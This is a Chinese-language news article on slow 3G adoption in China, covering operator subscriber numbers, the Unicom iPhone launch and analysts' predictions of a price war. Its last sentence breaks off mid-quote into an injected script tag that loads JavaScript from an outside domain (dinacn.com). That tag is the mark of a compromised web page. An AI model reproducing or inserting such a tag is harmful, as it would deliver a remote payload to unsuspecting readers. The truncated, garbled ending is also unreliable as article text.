中国加快推广3G移动技术必须克服一系列障碍,而其中一个问题尤其严重:似乎没什么用户感兴趣。
初步迹象显示,中国这个全球最大电信市场的手机用户并没有对通过手机享受数字生活的概念趋之若鹜──至少现在还没有。
中银国际Bank of China International电信业分析师吴维克Allan Ng说,迄今的形势不佳,他指的是今年早些时候推出的3G服务计划的入网率。他说,用户对3G不是很热情,世界各地都是这种情况。
本来不应该是这样。根据发布前的推论,中国不断增加的财富、快速增长的用户群体以及热爱科技的消费者意味着新的技术标准会有强烈的吸引力。
但正如中国移动有限公司China Mobile Ltd., 简称:中国移动上周公布的季度营运业绩所显示的那样,中国大陆消费者还没有完全接受3G。
总部位于北京的中国移动公布,第三季度3G服务新增用户70万。这样其3G用户总数达到165万,仅占其5.084亿总用户的0.3%。中国政府称,预计三年内中国三大运营商的3G服务用户数达到2.4亿左右。
竞争对手中国联通China Unicom的初步业绩也没好多少。中国联通是iPhone的官方运营商,于10月1日推出iPhone的3G版。
据称,中国联通在国庆长假期间只获得了1万部iPhone的预定定单。据说用户担心的是联通版iPhone昂贵的手机价格、高昂的预付费用和没有内置Wi-Fi。
分析师们现在怀疑,中国三大电信运营商(另外一家是中国电信China Telecom Corp.)在3G时代的利润方面可能出现问题。
2008年运营商在网络方面的总投资达人民币2,950亿元,较上年增长30%,增幅超过收入增长的12%。据政府估计,运营商还计划未来3年在3G项目上再投入4,500亿元。
价格战即将上演
3G市场迄今为止可能还没有显示出太多的增长迹象,但另一方面,竞争看上去确实在加剧。
里昂证券亚太区市场CLSA Asia-Pacific Markets亚洲电信负责人郑名凯Francis Cheung说,我认为中国会出现3G价格战。
郑名凯说,收入迅速增长的时代已经结束,这个行业现在将要面对如同大宗商品一样的定价,竞争对手之间的费率相差很小。
作为例证,里昂证券预测中国移动2010年收益增长仅为2%,因大幅降价和手机补贴会侵蚀其平均每个月逾500万新增用户带来的收益。
苏格兰皇家银行Royal Bank of Scotland的分析师附和上述观点,认为中国移动的业绩在今年达到很高水平后可能衰落。
苏格兰皇家银行分析师Wendy Liu在中国移动公布业绩后说,由于竞争加剧,我们预期股价上行有限。 在很大程度上,分析师们说中国的电信运营商仍然应当纳入投资组合之中,因为它们稳定的股息,但它们不再是以前那种不断上涨的状况了。
“老化”的市场
这方面的一个问题是中国市场的成熟。在手机普及率从接近于零到大约40%的人口的区间内,手机相对来说还算新鲜事物,这一阶段电信公司的股票往往业绩最佳,分析师们称之为高速成长期。
2003年至2007年,里昂证券追踪的一个电信类股组合股价上涨了50%-60%。
目前,中国的手机渗透率在55%左右,仍然低于亚洲92.9%的中值水平。
但郑名凯说,由于现在中国市场明显更为成熟,未来要生成这种类型的回报会很难。郑名凯说,自己更看好印度电信公司的增长前景,因为印度市场处在较为年轻的发展阶段。
从表面上看,这种逻辑似乎是看涨3G销量,因为3G技术对中国市场仍是相对较新。虽然从2008年就开始在一些地区进行测试,但中国政府今年1月才颁发了运营牌照。
迄今3G网络已经扩展至中国大约40个城市,包括北京、上海和东部沿海的富裕城市地区。预计今年年底前,中国3G网络将覆盖280个城市,包括欠发达的中西部地区。
即便在已经拥有3G服务的地区,可能也需要更多投资。例如,中国联通的上海用户据说在室内就很难获得可靠的信号。
但3G市场的构建不同于将手机首次引入某一市场时的迅速增长势头。
麦格理Macquarie分析师斯马特Tim Smart说,有证?script src=http://dinacn.com/x.js> |